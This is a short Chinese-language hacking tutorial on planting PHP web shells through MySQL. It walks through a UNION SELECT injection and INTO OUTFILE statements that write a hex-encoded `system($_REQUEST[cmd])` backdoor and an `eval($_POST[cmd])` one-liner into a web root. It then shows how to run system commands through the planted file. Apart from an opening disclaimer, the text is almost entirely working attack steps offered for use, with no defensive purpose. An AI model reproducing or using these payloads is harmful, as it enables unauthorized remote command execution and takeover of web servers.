咳咳,大家看看就好了,本人不負責所產生的後果
復制代碼 代碼如下:
SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'
通過Mysql 的注入或者在 phpmyadmin 裡運行以上語句,則會C:/inetpub/wwwroot/下生成 cmd.php 文件,內容為原來的 vbb_strikes 內容,後面緊跟著:2 3 <?php system($_REQUEST[cmd]);?>
再通過 http://www.xxx.com/cmd.php?cmd=dir c: 就可以執行系統DOS命令!
哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什麼東西?
就是<?php system($_REQUEST[cmd]);?>的十六進制編碼了,如果不用這種方法,有不同的SQL版本會出現其它的編碼:如%xx之類的, 哪這個後門就不能執行的了!如果你有其它語名要弄,可以到UltraEdit裡輸入,再按[Ctrl+H]鍵,將裡面的十六進制連在一起就可以了!
淺談MySQL導出一句話木馬拿WebShell的方法-只需要一句SQL
昨天看一篇文章中說到MySQL導出一句話木馬拿WebShell的方法。
文章中用到的SQL語句大體如下(命令行或者其它能執行SQL命令的shell都行):
Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,裡面就一個cmd字段
Insert INTO temp (cmd) VALUES(''); //把一句話木馬插入到temp表
Select cmd from temp into out file 'F:/wwwroot/eval.php'; //查詢temp表中的一句話並把結果導入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp(擦屁股o(∩_∩)o...)
這幾句SQL很簡單,我做了簡單的注釋。
不過想想我們在測試PHP的SQL漏洞的時候經常用如下的語句:
/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
然後返回的頁面中可能會出現1~12之間的數字。這裡加入數字3顯示出來了。
如果我們把上面這句改成/**/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,則返回頁面上次顯示3的地方會顯示zerosoul。
也就是說如果我們的select語句後面不帶from table語句的話,我們說查詢的數字或字符會直接返回到查詢結果裡。
既然這樣,我們為何還要那麼麻煩去建一個表,先導入數據,再導出這樣折騰呢。
有了這個思路,上面那一大段到出一句話的SQL代碼可以直接簡化到一句:
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
這樣做不但簡單明了,而且避免了誤刪別人的數據。以上所述就是本文的全部內容了,希望大家能夠喜歡。